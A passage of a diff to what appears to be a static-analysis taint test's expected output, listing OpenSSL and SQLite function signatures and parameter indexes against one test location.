ENGINE_set_flags | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (EVP_CIPHER *,int) | | EVP_CIPHER_meth_set_impl_ctx_size | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (EVP_CIPHER *,int) | | EVP_CIPHER_meth_set_iv_length | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (EVP_CIPHER_CTX *,int) | | EVP_CIPHER_CTX_clear_flags | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (EVP_CIPHER_CTX *,int) | | EVP_CIPHER_CTX_set_flags | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (EVP_CIPHER_CTX *,int) | | EVP_CIPHER_CTX_set_key_length | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (EVP_CIPHER_CTX *,int) | | EVP_CIPHER_CTX_set_num | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (EVP_KEYMGMT *,int) | | evp_keymgmt_util_query_operation_name | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (EVP_MD *,int) | | EVP_MD_meth_set_app_datasize | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (EVP_MD *,int) | | EVP_MD_meth_set_input_blocksize | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (EVP_MD *,int) | | EVP_MD_meth_set_result_size | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (EVP_MD_CTX *,int) | | EVP_MD_CTX_clear_flags | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (EVP_MD_CTX *,int) | | EVP_MD_CTX_set_flags | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (EVP_PKEY *,int) | | EVP_PKEY_delete_attr | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (EVP_PKEY *,int) | | EVP_PKEY_save_parameters | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (EVP_PKEY *,int) | | EVP_PKEY_set_type | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_get_keygen_info | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_dh_kdf_type | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_dh_nid | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_dh_paramgen_type | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_dh_rfc5114 | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_dhx_rfc5114 | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_ec_param_enc | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_ec_paramgen_curve_nid | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_ecdh_kdf_type | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_hkdf_mode | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_rsa_padding | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_rsa_pss_saltlen | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (FFC_PARAMS *,int) | | ossl_ffc_params_set_gindex | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (FFC_PARAMS *,int) | | ossl_ffc_params_set_h | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (FFC_PARAMS *,int) | | ossl_ffc_params_set_pcounter | 1 | | taint.cpp:4:6:4:21 | arithAssignments | (LPCOLESTR,int) | CComBSTR | Append | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (OCSP_BASICRESP *,int) | | OCSP_BASICRESP_delete_ext | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (OCSP_BASICRESP *,int) | | OCSP_BASICRESP_get_ext | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (OCSP_BASICRESP *,int) | | OCSP_resp_get0 | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (OCSP_ONEREQ *,int) | | OCSP_ONEREQ_delete_ext | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (OCSP_ONEREQ *,int) | | OCSP_ONEREQ_get_ext | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (OCSP_REQUEST *,int) | | OCSP_REQUEST_delete_ext | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (OCSP_REQUEST *,int) | | OCSP_REQUEST_get_ext | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (OCSP_REQUEST *,int) | | OCSP_request_onereq_get0 | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (OCSP_SINGLERESP *,int) | | OCSP_SINGLERESP_delete_ext | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (OCSP_SINGLERESP *,int) | | OCSP_SINGLERESP_get_ext | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (OPENSSL_STACK *,int) | | OPENSSL_sk_delete | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (OPENSSL_STACK *,int) | | OPENSSL_sk_reserve | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (OPENSSL_sk_compfunc,int) | | OPENSSL_sk_new_reserve | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (OSSL_ACKM *,int) | | ossl_ackm_get_ack_deadline | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (OSSL_ACKM *,int) | | ossl_ackm_get_ack_frame | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (OSSL_ACKM *,int) | | ossl_ackm_get_largest_acked | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (OSSL_ACKM *,int) | | ossl_ackm_on_pkt_space_discarded | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (OSSL_CMP_CTX *,int) | | OSSL_CMP_CTX_set_serverPort | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (OSSL_CMP_CTX *,int) | | ossl_cmp_ctx_set_failInfoCode | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (OSSL_CMP_CTX *,int) | | ossl_cmp_ctx_set_status | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (OSSL_CMP_CTX *,int) | | ossl_cmp_msg_create | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (OSSL_CMP_CTX *,int) | | ossl_cmp_pollReq_new | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (OSSL_CMP_MSG *,int) | | ossl_cmp_msg_set_bodytype | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (OSSL_CMP_PKIHEADER *,int) | | ossl_cmp_hdr_set_pvno | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (OSSL_CMP_REVREPCONTENT *,int) | | ossl_cmp_revrepcontent_get_CertId | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (OSSL_CMP_REVREPCONTENT *,int) | | ossl_cmp_revrepcontent_get_pkisi | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (OSSL_CMP_SRV_CTX *,int) | | OSSL_CMP_SRV_CTX_set_accept_raverified | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (OSSL_CMP_SRV_CTX *,int) | | OSSL_CMP_SRV_CTX_set_accept_unprotected | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (OSSL_CMP_SRV_CTX *,int) | | OSSL_CMP_SRV_CTX_set_grant_implicit_confirm | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (OSSL_CMP_SRV_CTX *,int) | | OSSL_CMP_SRV_CTX_set_send_unprotected_errors | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (OSSL_CRMF_PKIPUBLICATIONINFO *,int) | | OSSL_CRMF_MSG_set_PKIPublicationInfo_action | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (OSSL_DECODER_CTX *,int) | | OSSL_DECODER_CTX_set_selection | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (OSSL_ENCODER_CTX *,int) | | OSSL_ENCODER_CTX_set_selection | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (OSSL_LIB_CTX *,int) | | OSSL_LIB_CTX_get_data | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (OSSL_LIB_CTX *,int) | | OSSL_LIB_CTX_set_conf_diagnostics | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (OSSL_LIB_CTX *,int) | | ossl_ctx_global_properties | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (OSSL_LIB_CTX *,int) | | ossl_dh_new_by_nid_ex | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (OSSL_LIB_CTX *,int) | | ossl_lib_ctx_get_data | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (OSSL_LIB_CTX *,int) | | ossl_mac_key_new | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (OSSL_PARAM *,int) | | OSSL_PARAM_set_int | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (OSSL_QRX *,int) | | ossl_qrx_get_bytes_received | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (OSSL_RECORD_LAYER *,int) | | tls_set_first_handshake | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (OSSL_RECORD_LAYER *,int) | | tls_set_plain_alerts | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (OSSL_STORE_CTX *,int) | | OSSL_STORE_expect | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (PKCS7 *,int) | | PKCS7_set_type | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (QUIC_CHANNEL *,int) | | ossl_quic_channel_new_stream_local | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (QUIC_ENGINE *,int) | | ossl_quic_engine_set_inhibit_tick | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (QUIC_PORT *,int) | | ossl_quic_port_set_allow_incoming | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (QUIC_RCIDM *,int) | | ossl_quic_rcidm_get_preferred_tx_dcid_changed | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (QUIC_RSTREAM *,int) | | ossl_quic_rstream_set_cleanse | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (QUIC_RXFC *,int) | | ossl_quic_rxfc_get_error | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (QUIC_RXFC *,int) | | ossl_quic_rxfc_has_cwm_changed | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (QUIC_SSTREAM *,int) | | ossl_quic_sstream_set_cleanse | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (QUIC_STREAM_MAP *,int) | | ossl_quic_stream_map_get_accept_queue_len | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (QUIC_TXFC *,int) | | ossl_quic_txfc_has_become_blocked | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (RSA *,int) | | RSA_clear_flags | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (RSA *,int) | | RSA_set_flags | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (RSA_METHOD *,int) | | RSA_meth_set_flags | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (RSA_PSS_PARAMS_30 *,int) | | ossl_rsa_pss_params_30_set_hashalg | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (RSA_PSS_PARAMS_30 *,int) | | ossl_rsa_pss_params_30_set_maskgenhashalg | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (RSA_PSS_PARAMS_30 *,int) | | ossl_rsa_pss_params_30_set_saltlen | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (RSA_PSS_PARAMS_30 *,int) | | ossl_rsa_pss_params_30_set_trailerfield | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (SSL *,int) | | SSL_key_update | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (SSL *,int) | | SSL_set_post_handshake_auth | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (SSL *,int) | | SSL_set_purpose | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (SSL *,int) | | SSL_set_quic_tls_early_data_enabled | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (SSL *,int) | | SSL_set_quiet_shutdown | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (SSL *,int) | | SSL_set_read_ahead | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (SSL *,int) | | SSL_set_security_level | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (SSL *,int) | | SSL_set_shutdown | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (SSL *,int) | | SSL_set_trust | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (SSL *,int) | | SSL_set_verify_depth | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (SSL_CONNECTION *,int) | | dtls1_read_failed | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (SSL_CONNECTION *,int) | | ossl_statem_send_fatal | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (SSL_CONNECTION *,int) | | ossl_statem_set_in_init | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (SSL_CONNECTION *,int) | | tls1_shared_group | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (SSL_CTX *,int) | | SSL_CTX_set_post_handshake_auth | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (SSL_CTX *,int) | | SSL_CTX_set_purpose | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (SSL_CTX *,int) | | SSL_CTX_set_quiet_shutdown | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (SSL_CTX *,int) | | SSL_CTX_set_security_level | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (SSL_CTX *,int) | | SSL_CTX_set_srp_strength | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (SSL_CTX *,int) | | SSL_CTX_set_trust | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (SSL_CTX *,int) | | SSL_CTX_set_verify_depth | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (SSL_CTX *,int) | | ssl_md | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (SSL_SESSION *,int) | | SSL_SESSION_set_protocol_version | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (TS_REQ *,int) | | TS_REQ_delete_ext | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (TS_REQ *,int) | | TS_REQ_get_ext | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (TS_RESP_CTX *,int) | | TS_RESP_CTX_add_flags | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (TS_STATUS_INFO *,int) | | TS_STATUS_INFO_set_status | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (TS_TST_INFO *,int) | | TS_TST_INFO_delete_ext | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (TS_TST_INFO *,int) | | TS_TST_INFO_get_ext | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (TS_VERIFY_CTX *,int) | | TS_VERIFY_CTX_add_flags | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (TS_VERIFY_CTX *,int) | | TS_VERIFY_CTX_set_flags | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (WPACKET *,int) | | ossl_DER_w_begin_sequence | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (X509 *,int) | | X509_delete_ext | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (X509 *,int) | | X509_self_signed | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (X509_ACERT *,int) | | X509_ACERT_delete_attr | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (X509_ATTRIBUTE *,int) | | X509_ATTRIBUTE_get0_type | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (X509_CRL *,int) | | X509_CRL_delete_ext | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (X509_NAME *,int) | | X509_NAME_delete_entry | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (X509_REQ *,int) | | X509_REQ_delete_attr | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (X509_REVOKED *,int) | | X509_REVOKED_delete_ext | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (X509_STORE *,int) | | X509_STORE_set_depth | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (X509_STORE *,int) | | X509_STORE_set_purpose | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (X509_STORE *,int) | | X509_STORE_set_trust | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (X509_STORE_CTX *,int) | | X509_STORE_CTX_set_depth | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (X509_STORE_CTX *,int) | | X509_STORE_CTX_set_error | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (X509_STORE_CTX *,int) | | X509_STORE_CTX_set_error_depth | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (X509_STORE_CTX *,int) | | X509_STORE_CTX_set_purpose | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (X509_STORE_CTX *,int) | | X509_STORE_CTX_set_trust | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (X509_VERIFY_PARAM *,int) | | X509_VERIFY_PARAM_get0_host | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (X509_VERIFY_PARAM *,int) | | X509_VERIFY_PARAM_set_auth_level | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (X509_VERIFY_PARAM *,int) | | X509_VERIFY_PARAM_set_depth | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (X509_VERIFY_PARAM *,int) | | X509_VERIFY_PARAM_set_purpose | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (X509_VERIFY_PARAM *,int) | | X509_VERIFY_PARAM_set_trust | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (acttab *,int) | | acttab_insert | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (char *,int) | | PEM_proc_type | 1 | | taint.cpp:4:6:4:21 | arithAssignments | (char,int) | CStringT | CStringT | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (const ASN1_BIT_STRING *,int) | | ASN1_BIT_STRING_get_bit | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (const BIGNUM *,int) | | BN_get_flags | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (const BIGNUM *,int) | | BN_is_bit_set | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (const BIO *,int) | | BIO_get_ex_data | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (const BIO *,int) | | BIO_test_flags | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (const CMS_SignerInfo *,int) | | CMS_signed_get_attr | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (const CMS_SignerInfo *,int) | | CMS_unsigned_get_attr | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (const CRYPTO_EX_DATA *,int) | | CRYPTO_get_ex_data | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (const DH *,int) | | DH_get_ex_data | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (const DH *,int) | | DH_test_flags | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (const DH *,int) | | ossl_dh_dup | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (const DSA *,int) | | DSA_get_ex_data | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (const DSA *,int) | | DSA_test_flags | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (const DSA *,int) | | ossl_dsa_dup | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (const ECX_KEY *,int) | | ossl_ecx_key_dup | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (const EC_KEY *,int) | | EC_KEY_get_ex_data | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (const EC_KEY *,int) | | ossl_ec_key_dup | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (const ENGINE *,int) | | ENGINE_get_ex_data | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (const EVP_CIPHER_CTX *,int) | | EVP_CIPHER_CTX_test_flags | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (const EVP_MD_CTX *,int) | | EVP_MD_CTX_test_flags | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (const EVP_PKEY *,int) | | EVP_PKEY_get_attr | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (const EVP_PKEY *,int) | | EVP_PKEY_get_ex_data | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (const ML_DSA_KEY *,int) | | ossl_ml_dsa_key_dup | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (const ML_KEM_KEY *,int) | | ossl_ml_kem_key_dup | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (const OPENSSL_STACK *,int) | | OPENSSL_sk_value | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (const OSSL_CMP_CERTREPMESSAGE *,int) | | ossl_cmp_certrepmessage_get0_certresponse | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (const OSSL_CMP_CTX *,int) | | OSSL_CMP_CTX_get0_newPkey | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (const OSSL_CMP_CTX *,int) | | OSSL_CMP_CTX_get_option | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (const OSSL_CMP_PKISI *,int) | | ossl_cmp_pkisi_check_pkifailureinfo | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (const OSSL_CMP_POLLREPCONTENT *,int) | | ossl_cmp_pollrepcontent_get0_pollrep | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (const QUIC_CHANNEL *,int) | | ossl_quic_channel_get_local_stream_count_avail | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (const QUIC_CHANNEL *,int) | | ossl_quic_channel_get_remote_stream_count_avail | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (const RSA *,int) | | RSA_get_ex_data | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (const RSA *,int) | | RSA_test_flags | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (const RSA *,int) | | ossl_rsa_dup | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (const SLH_DSA_KEY *,int) | | ossl_slh_dsa_key_dup | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (const SSL *,int) | | SSL_get_ex_data | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (const SSL_CTX *,int) | | SSL_CTX_get_ex_data | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (const SSL_SESSION *,int) | | SSL_SESSION_get_ex_data | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (const SSL_SESSION *,int) | | ssl_session_dup | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (const UI *,int) | | UI_get_ex_data | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (const UI_METHOD *,int) | | UI_method_get_ex_data | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (const X509 *,int) | | X509_get_ex_data | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (const X509 *,int) | | X509_get_ext | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (const X509_ACERT *,int) | | X509_ACERT_get_attr | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (const X509_CRL *,int) | | X509_CRL_get_ext | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (const X509_NAME *,int) | | X509_NAME_get_entry | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (const X509_POLICY_LEVEL *,int) | | X509_policy_level_get0_node | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (const X509_POLICY_TREE *,int) | | X509_policy_tree_get0_level | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (const X509_REQ *,int) | | X509_REQ_get_attr | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (const X509_REVOKED *,int) | | X509_REVOKED_get_ext | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (const X509_STORE *,int) | | X509_STORE_get_ex_data | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (const X509_STORE_CTX *,int) | | X509_STORE_CTX_get_ex_data | 1 | | taint.cpp:4:6:4:21 | arithAssignments | (const XCHAR *,int) | CStringT | CStringT | 1 | | taint.cpp:4:6:4:21 | arithAssignments | (const YCHAR *,int) | CStringT | CStringT | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (const char *,int) | | DH_meth_new | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (const char *,int) | | DSA_meth_new | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (const char *,int) | | Jim_StrDupLen | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (const char *,int) | | NETSCAPE_SPKI_b64_decode | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (const char *,int) | | RSA_meth_new | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (const char *,int) | | parse_yesno | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (const stack_st_X509_ATTRIBUTE *,int) | | X509at_get_attr | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (const stack_st_X509_EXTENSION *,int) | | X509v3_get_ext | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (const unsigned char *,int) | | Jim_GenHashFunction | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (const unsigned char *,int) | | OPENSSL_uni2asc | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (const unsigned char *,int) | | OPENSSL_uni2utf8 | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (int *,int) | | X509_PURPOSE_set | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (int *,int) | | X509_TRUST_set | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (int,int) | | BN_security_bits | 0 | +| taint.cpp:4:6:4:21 | arithAssignments | (int,int) | | BN_security_bits | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (int,int) | | EVP_MD_meth_new | 0 | +| taint.cpp:4:6:4:21 | arithAssignments | (int,int) | | EVP_MD_meth_new | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (int,int) | | EVP_PKEY_meth_new | 0 | +| taint.cpp:4:6:4:21 | arithAssignments | (int,int) | | EVP_PKEY_meth_new | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (int,int) | | acttab_alloc | 0 | +| taint.cpp:4:6:4:21 | arithAssignments | (int,int) | | acttab_alloc | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (rule *,int) | | Configlist_add | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (rule *,int) | | Configlist_addbasis | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (sqlite3 *,int) | | sqlite3_busy_timeout | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (sqlite3 *,int) | | sqlite3_db_name | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (sqlite3 *,int) | | sqlite3_wal_autocheckpoint | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (sqlite3_backup *,int) | | sqlite3_backup_step | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (sqlite3_context *,int) | | sqlite3_aggregate_context | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (sqlite3_context *,int) | | sqlite3_result_error_code | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (sqlite3_index_info *,int) | | sqlite3_vtab_collation | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (sqlite3_stmt *,int) | | sqlite3_bind_parameter_name | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (sqlite3_stmt *,int) | | sqlite3_column_blob | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (sqlite3_stmt *,int) | | sqlite3_column_bytes | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (sqlite3_stmt *,int) | | sqlite3_column_bytes16 | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (sqlite3_stmt *,int) | | sqlite3_column_decltype | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (sqlite3_stmt *,int) | | sqlite3_column_decltype16 | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (sqlite3_stmt *,int) | | sqlite3_column_double | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (sqlite3_stmt *,int) | | sqlite3_column_int | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (sqlite3_stmt *,int) | | sqlite3_column_int64 | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (sqlite3_stmt *,int) | | sqlite3_column_name | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (sqlite3_stmt *,int) | | sqlite3_column_name16 | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (sqlite3_stmt *,int) | | sqlite3_column_text | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (sqlite3_stmt *,int) | | sqlite3_column_text16 | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (sqlite3_stmt *,int) | | sqlite3_column_type | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (sqlite3_stmt *,int) | | sqlite3_column_value | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (sqlite3_stmt *,int) | | sqlite3_stmt_explain | 1 | +| taint.cpp:4:6:4:21 | 